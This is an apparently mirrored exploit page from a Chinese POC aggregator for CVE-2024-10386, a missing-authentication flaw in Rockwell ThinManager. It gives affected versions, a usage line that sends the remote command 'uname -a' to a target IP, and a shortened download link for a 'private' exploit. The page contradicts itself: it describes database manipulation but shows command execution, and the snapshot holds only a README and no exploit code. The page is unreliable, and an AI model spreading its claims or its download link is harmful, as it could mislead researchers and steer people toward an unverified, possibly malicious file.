POC详情： e7aba580c1be4a00146a4900bcf70a9c4d407a3d

来源
https://github.com/zetraxz/CVE-2024-10386
关联漏洞
标题： Rockwell Automation ThinManager 安全漏洞 (CVE-2024-10386)
描述：Rockwell Automation ThinManager是美国罗克韦尔（Rockwell Automation）公司的一款瘦客户端管理软件。允许将瘦客户端同时分配给多个远程桌面服务器。 Rockwell Automation ThinManager存在安全漏洞，该漏洞源于存在身份验证漏洞，可能允许具有网络访问权限的攻击者向设备发送特制的消息从而导致数据库操纵。
介绍
# CVE-2024-10386: Missing Authentication for Critical Function (CWE-306)

## Overview

CVE-2024-10386 significantly impacts Rockwell Automation's FactoryTalk ThinManager, a crucial product for industrial automation. This vulnerability poses a substantial risk due to its potential to allow unauthorized users to manipulate databases through network access.


## Details
+ **CVE ID:** CVE-2024-10386
+ **Published:** 2024-10-25
+ **Impact:** Critical
+ **Exploit Availability:** Not public, only private.
+ **CVSS:** 9.3


## Vulnerability Description

The vulnerability allows a threat actor with network access to send crafted messages to the device, resulting in database manipulation.


## Affected Versions

This vulnerability affects **Rockwell Automation ThinManager software versions 11.2.0 up to (but not including) 11.2.10, 12.0.0 up to 12.0.8, 12.1.0 up to 12.1.9, 13.0.0 up to 13.0.6, 13.1.0 up to 13.1.4, 13.2.0 up to 13.2.3, and version 14.0.0.**

## Usage
```
python CVE-2024-10386.py -h 10.10.10.10 -c 'uname -a'
```

## Contact
For inquiries, please contact zetraxz@thesecure.biz

## Exploit
**[Download](https://ur0.jp/f7tKh)**
文件快照

 [4.0K]  /data/pocs/e7aba580c1be4a00146a4900bcf70a9c4d407a3d
└── [1.1K]  README.md

0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮箱到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对POC代码进行快照，为了长期维护，请考虑为本地POC付费，感谢您的支持。